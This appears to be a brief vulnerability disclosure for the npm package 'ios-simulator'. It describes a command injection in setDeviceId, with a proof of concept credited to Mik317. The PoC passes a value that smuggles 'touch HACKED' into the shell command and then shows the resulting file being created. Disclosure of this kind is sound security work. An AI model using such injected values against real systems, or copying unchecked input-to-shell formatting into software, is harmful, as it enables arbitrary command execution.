vulnerability command injection
severity 3.8
language javascript
registry npm


The issue occurs because a user input is formatted inside a command that will be executed without any check.

Proof of Concept (Credit: Mik317)

  1. Create the following PoC file:
// poc.js

var ios = require("ios-simulator");

ios.prototype.setDeviceId('test"; touch HACKED; #');

  1. Check there aren't files called HACKED

  2. Execute the following commands in another terminal:

npm i ios-simulator # Install affected module

node poc.js #  Run the PoC

  1. Recheck the files: now HACKED has been created